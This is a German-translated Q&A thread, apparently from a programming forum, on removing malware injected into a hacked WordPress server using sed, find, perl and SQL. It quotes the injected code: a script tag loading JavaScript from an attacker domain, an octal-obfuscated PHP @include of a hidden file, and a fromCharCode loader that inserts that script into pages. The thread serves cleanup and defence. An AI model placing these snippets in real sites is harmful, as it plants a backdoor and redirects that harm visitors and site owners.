So ersetzen Sie die gesamte Zeichenfolge mit sed oder möglicherweise grep

10

Also wurde mein ganzer Server gehackt oder bekam das Malware-Problem. Meine Website basiert auf WordPress und die meisten auf meinem Server gehosteten Websites basieren auf WordPress. Der Hacker fügte diese Codezeile jeder einzelnen Datei und Datenbank hinzu

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Ich habe es über grep mit gesucht

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Ich versuche, es in der gesamten Dateistruktur durch zu ersetzen, sedund habe den folgenden Befehl geschrieben.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

Ich versuche zuerst, die Zeichenfolge in einer einzelnen Datei zu ersetzen index.php, damit ich weiß, dass sie funktioniert.

und ich weiß, dass mein Code falsch ist. Bitte helfen Sie mir dabei.

Ich habe es mit dem @ Eran-Code versucht und er hat die gesamte Zeile gelöscht, was gut und wie erwartet ist. Der gesamte Jargon ist dies jedoch

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

Und während ich den gesamten Inhalt löschen möchte, möchte ich das PHP-Eröffnungs-Tag behalten <?php.

Obwohl die Lösung von @ slybloty einfach ist und funktioniert hat.

So entfernen Sie den Code vollständig aus allen betroffenen Dateien. Ich führe die folgenden 3 Befehle aus. Vielen Dank an euch alle dafür.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Entfernen der Skriptzeile
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Um die @includeLinie zu entfernen
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Um die Kommentarzeile zu entfernen

Außerdem habe ich alle 3 Befehle für erneut ausgeführt '*.html' , da das Hacker-Skript in allen Verzeichnissen eine unerwünschte index.html erstellt hat. Ich war mir nicht sicher, ob das Löschen dieser index.html in großen Mengen der richtige Ansatz ist.

Jetzt muss ich noch die Junk-Dateien und Spuren davon herausfinden.

Das Hacker-Skript fügte auch den JS-Code hinzu.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Ich versuche zu sehen, ob ich sedes auch kann.

Dilip Gupta
quelle
Woher wissen Sie, dass Ihr Code falsch ist?
Beta
Weil ich es ausgeführt habe und es immer wieder um mehr Input in der nächsten Zeile bittet, wie `>`
Dilip Gupta
2
Können Sie die Zeile nicht einfach löschen? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan
1
Sie können dort auch Ihren Grep hinzufügen, um alle Dateien mit dieser Zeile wie folgt einzugeben: while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" Die -lOption gibt nur den Dateinamen und nicht den passenden Text an.
Jason
1
Noch etwas ... Wenn Sie diesen Ansatz wählen, würde ich den optionalen Parameter "sichern" für nutzen sed -i. Erstellt beispielsweise sed -i.bakeine *.bakDatei für alle Dateien, die bearbeitet werden. Bei Verwendung mit der while...grepSchleife sichern Sie nur Dateien, die diese Zeichenfolge enthalten. Entschuldigen Sie die zusätzlichen Kommentare, aber meiner Meinung nach ist Malware ein "All Hands on Deck" -Szenario.
Jason

Antworten:

2

Verwenden Sie doppelte Anführungszeichen ( ") für die Zeichenfolge und entkommen Sie weder den einfachen Anführungszeichen ( ') noch den Tags ( <>). Entkomme nur den Schrägstrichen ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
Slybloty
quelle
2

Unabhängig davon, für welche Methode Sie sich bei sed entscheiden, können Sie mehrere Prozesse gleichzeitig für mehrere Dateien mit perfekten Filteroptionen mit findund ausführen xargs. Zum Beispiel:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

Es wird:

  • find - finden
  • -type f - nur Dateien
  • -name '*.txt' - das ende mit php
  • -print0 - Pritn sie durch Null Bytes getrennt
  • | xargs -0 - für jede durch Null-Byte getrennte Datei
  • -P7 - 7 Prozesse gleichzeitig ausführen
  • -n1 - für jede Datei
  • sed - für jede Datei sed ausgeführt
  • -i - Bearbeiten Sie die Datei an Ort und Stelle
  • '...' - das sed-Skript, das Sie aus anderen Antworten ausführen möchten.

Möglicherweise möchten Sie eine -tOption hinzufügen xargs, um den Fortschritt anzuzeigen. Siehe man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

KamilCuk
quelle
2

Einfache Anführungszeichen werden buchstäblich ohne Escapezeichen verwendet. In var='hello\''haben Sie ein nicht geschlossenes Angebot.

Um dieses Problem zu beheben, 1) Verwenden Sie doppelte Anführungszeichen, um den sedBefehl zu umgeben, ODER 2) Beenden Sie die Zeichenfolge in einfachen Anführungszeichen und fügen Sie hinzu\' die Anführungszeichenfolge und öffnen Sie sie erneut.

Die zweite Methode ist jedoch verwirrender.

Darüber hinaus sedkann jedes Trennzeichen getrennte Befehle verwenden. Da die Befehle Schrägstriche enthalten, ist die Verwendung von Kommas einfacher. Zum Beispiel mit der ersten Methode:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Mit der zweiten Methode:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Dieses Beispiel ist eher lehrreich als praktisch. So '\''funktioniert es:

Erstens ': Beenden Sie die aktuell zitierte Literalzeichenfolge

\': Geben Sie ein einfaches Anführungszeichen als wörtliches Zeichen ein

Zweitens ': Geben Sie die Literalzeichenfolge in Anführungszeichen erneut ein

Solange dort keine Leerzeichen vorhanden sind, setzen Sie Ihren sedBefehl fort. Diese Idee ist einzigartig für bash.

Ich lasse die Flucht <und >drin, weil ich nicht ganz sicher bin, wofür Sie das verwenden. sedverwendet das \<und \>, um Wortübereinstimmung zu bedeuten. Ich bin mir nicht sicher, ob das beabsichtigt ist oder nicht.

Wenn dies mit nichts übereinstimmt, möchten Sie wahrscheinlich vermeiden, dem <und zu entkommen >.

Bearbeiten: Eine praktischere Lösung für das eigentliche Problem finden Sie in den Kommentaren unter @ EranBen-Natans Lösung. Meine Antwort ist eher eine Ressource dafür, warum OP mit seinem ursprünglichen Befehl zu mehr Eingaben aufgefordert wurde.

Lösung für die Bearbeitung 2

Damit dies funktioniert, gehe ich davon aus, dass Sie seddie nicht standardmäßige Option haben -z. GNU-Version von sedsollte dies haben. Ich gehe auch davon aus, dass dieser Code immer in dem Format erscheint, das 6 Zeilen lang ist

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

So funktioniert es: Wir verwenden den Anfang der fromCharCode-Zeile, um alles abzugleichen. -zteilt die Datei auf Nullen anstatt auf neue Zeilen. Dadurch können wir direkt nach Zeilenvorschüben suchen.

[^\n]*\n- Dies stimmt mit allem bis zu einem Zeilenvorschub überein und stimmt dann mit dem Zeilenvorschub überein, wodurch ein gieriger Regex-Abgleich vermieden wird. Da wir nicht in Zeilenvorschübe ( -z) aufteilen, entspricht der reguläre Ausdruck var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nder größtmöglichen Übereinstimmung. Wenn Sie beispielsweise \n}\nirgendwo weiter unten in der Datei erscheinen, löschen Sie den gesamten Code zwischen dort und dem Schadcode. Wenn Sie diese Sequenz also sechsmal wiederholen, werden wir mit dem Ende der ersten Zeile sowie den nächsten 5 Zeilen übereinstimmen.

grep -lr- Nur eine Rekursive, grepbei der nur die Dateien aufgelistet werden, die das passende Muster haben. Auf diese Weise sedwird nicht jede Datei bearbeitet. Ohne dies würde -i.bak(nicht einfach -i) ein Chaos verursachen.

Jason
quelle
Danke @Jason, ich werde deine Methode dafür ausprobieren. Im Moment habe ich keine Option für das Backup. Also bin ich beim Reinigen festgefahren.
Dilip Gupta
@ DilipGupta Ich würde vorschlagen, dort zu sichern, wo Sie jetzt sind. Sie können so etwas wie rsyncSichern und Wiederherstellen verwenden.
Jason
Verwenden Sie adminer.php? scheint seine ansteckbare
Jiro Matchonson
1

Haben Sie das wp-mail-smtp Plugin installiert? Wir haben die gleiche Malware und wir hatten etwas Seltsames drin wp-content/plugins/wp-mail-smtp/src/Debug.php.

Außerdem befindet sich der Javascript-Link in jedem post_contentFeld der wp_postsWordPress-Datenbank.

skuroedov
quelle
Ja, ich habe dieses Plugin installiert und es ist da, wie Sie gesagt haben. Ich versuche zuerst aufzuräumen und dann die Sicherheit zu erhöhen. Beachten Sie auch, dass der Hacker das aufgerufene Plugin installiert hat. super-socialatÜberprüfen Sie dies ebenfalls.
Dilip Gupta
Was genau hast du in dieser Debug.php gefunden? Ich habe dort nichts Seltsames gefunden, aber vielleicht ist es in einer anderen Datei gespeichert. Wenn du einen Teil des Codes bereitstellen würdest, könnte ich vielleicht die Dateien durchsuchen. Es wurde kein neues Plugin installiert.
Jiro Matchonson
1
Welchen Editor haben Sie verwendet? Wenn ich das in vim zu öffnen, kann ich die Weid Sache sehen, aber nicht in nano oder einen Editor wie Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov
Hallo, ich habe das durch Winscp angeschaut, aber jetzt auch vi ausprobiert, habe immer noch nichts gefunden. Tnx viel zum Beispiel Ill tri, um es in Dateien zu suchen.
Jiro Matchonson
Aus einiger Sicht scheint es sich um eine SQL-Anweisung zu handeln, die mit Buchstabenpositionen in der Variablen $ GLOBALS oder ähnlichem geschrieben wurde. Sie kann also nicht gefunden werden, indem einfach nach "trasnaltemyrecords" gesucht wird. Ich habe versucht, nach grep -r "NULL zu suchen ); @ $ "/ var / www / html / { ,. } oder andere Dinge, aber nichts gefunden. Wie auch immer, ich hatte eine alte adminer.php auf der WordPress-Seite, so dass vielleicht auch die Quelle dieses Lecks sein könnte.
Jiro Matchonson
0

Ich habe heute das Gleiche bekommen, bei allen Seitenbeiträgen wurde dieses böse Virenskript hinzugefügt

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Ich habe es von der Datenbank durch deaktiviert

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Ich habe zumindest keine infizierten Dateien

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

habe nichts gefunden, aber ich habe keine Ahnung, wie dies in die Datenbank kam, aus der ich überhaupt nicht ruhig bin.

Diese Infektion verursachte Weiterleitungen auf Seiten, Chrom erkennt und blockiert dies meistens. Ich habe nichts Seltsames in - /wp-mail-smtp/src/Debug.php bemerkt

Jiro Matchonson
quelle
Ich gehe davon aus, dass dies mit einem Teil der Unterbrechung des Plugins zusammenhängt und der Hacker den Zugang zur Hintertür zur Site erhalten hat.
Dilip Gupta
Aber welches Plugin, 2 Hous bestanden und alles wieder zurückgeleitet wird
Jiro Matchonson
0

Ich habe heute das Gleiche, bei allen Seitenbeiträgen wurde das Skript hinzugefügt. Ich habe erfolgreich mit ihnen umgegangen, indem ich das https://en.wordpress.org/plugins/search-and-replace/ plugin verwendet habe.

Darüber hinaus habe ich auch einen Datensatz in der folgenden Spalte der wp_posts-Tabelle post_content gefunden:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

und manuell gelöscht.

mik013
quelle
0

Für mich hat das funktioniert:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Sie müssen suchen nach: * .js, * .json, * .map

Vladimír Malík
quelle